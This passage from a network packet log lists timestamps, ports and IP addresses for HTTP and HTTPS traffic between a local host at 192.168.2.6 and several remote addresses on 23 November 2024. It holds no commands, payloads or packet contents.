Nov 23, 2024 09:16:58.314747095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.314786911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.315732002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.315788984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.315853119 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.315895081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.316823959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.316874981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.316930056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.316972017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.317892075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.317945957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.317981005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.318161964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.318990946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.319036007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.319108963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.319147110 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.320080996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.320135117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.320148945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.320197105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.321147919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.321203947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.321259022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.321367979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.322225094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.322299957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.322329998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.322371006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.323431969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.323483944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.323489904 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.323523998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.324389935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.324446917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.324513912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.324640036 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.325520992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.325568914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.325603962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.325836897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.326580048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.326632977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.326690912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.326734066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.327678919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.327723026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.327791929 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.327851057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.328753948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.328804016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.328821898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.328855991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.329814911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.329875946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.329912901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.329950094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.330907106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.330950022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.330965042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.330997944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.331986904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.332045078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.332099915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.332146883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.333072901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.333134890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.333189964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.333228111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.334184885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.334233046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.334265947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.334300041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.335227966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.335267067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.335341930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.335381985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.336353064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.336397886 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.336443901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.336477995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.337464094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.337599039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.337608099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.337632895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.338485956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.338531971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.338597059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.338726997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.339602947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.339706898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.339735031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.339756966 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.340708971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.340764046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.340884924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.340965033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.341753960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.341805935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.341844082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.341965914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.342854977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.342907906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.342936039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.342978001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.343954086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.344032049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.344046116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.344084978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.345009089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.345072031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.345099926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.345151901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.346110106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.346159935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.346193075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.346231937 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.347177982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.347245932 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.347278118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.347333908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.348277092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.348328114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.348381996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.348426104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.349334955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.349399090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.349436045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.349514008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.350441933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.350488901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.350557089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.350718021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.351500034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.351547956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.351604939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.351658106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.352643967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.352714062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.352761030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.352883101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.353677988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.353737116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.353806019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.353854895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.354769945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.354816914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.354887009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.354968071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.355839014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.355910063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.355937958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.355993986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.356993914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.357048988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.357099056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.357151985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.358006001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.358056068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.377536058 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.378081083 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.378108025 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.378593922 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.378601074 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.380762100 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:58.380897045 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:58.380953074 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:58.381047964 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:58.381062031 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:58.387259960 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.387327909 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.387423992 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.387577057 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.387597084 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.387609959 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.387614965 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.390532017 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.390567064 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.390640974 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.390801907 CET	49907	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.390815020 CET	443	49907	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.430735111 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.431246042 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.431272984 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.431749105 CET	49899	443	192.168.2.6	13.107.246.63
Nov 23, 2024 09:16:58.431752920 CET	443	49899	13.107.246.63	192.168.2.6
Nov 23, 2024 09:16:58.440932989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.441025019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.441029072 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.441068888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.441533089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.441659927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.441723108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.442892075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.442939043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.442945004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.442975044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.443671942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.443716049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.443784952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.443823099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.444772959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.444842100 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.444849014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.444885015 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.445792913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.445842028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.445909977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.445949078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.446914911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.446959972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.447082996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.447210073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.509830952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.509884119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.509963036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.510000944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.510396004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.510448933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.510474920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.510504961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.511459112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.511507034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.511869907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.511919975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.511986017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.512089014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.513017893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.513061047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.513113022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.513201952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.514094114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.514163971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.514228106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.514271021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.515113115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.515167952 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.515198946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.515311003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.516272068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.516366959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.516408920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.517297983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.517342091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.517412901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.517446995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.518364906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.518405914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.518465042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.518511057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.519445896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.519490004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.519552946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.519591093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.520522118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.520570040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.520631075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.520698071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.521615982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.521693945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.521755934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.521794081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.522703886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.522747993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.522983074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.523021936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.523808956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.523904085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.523969889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.524013042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.524923086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.524966002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.525079012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.525233030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.525979042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.526022911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.526165009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.526254892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.527048111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.527101040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.527157068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.527265072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.528161049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.528203964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.528265953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.528320074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.529246092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.529298067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.529352903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.529429913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.530402899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.530448914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.530507088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.530548096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.531403065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.531445026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.531553984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.531589031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.532474041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.532634974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.532635927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.532665968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.533528090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.533569098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.533643961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.533679962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.534635067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.534698009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.534940958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.535000086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.535696030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.535737991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.535800934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.535845041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.536787033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.536851883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.536916971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.536957026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.537909985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.537945032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.538009882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.538090944 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.539005041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.539047003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.539107084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.539146900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.540074110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.540116072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.540183067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.540232897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.541197062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.541264057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.541297913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.541336060 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.542272091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.542313099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.542387009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:58.542423010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:58.543334961 CET	80	49816	185.215.113.206	192.168.2.6
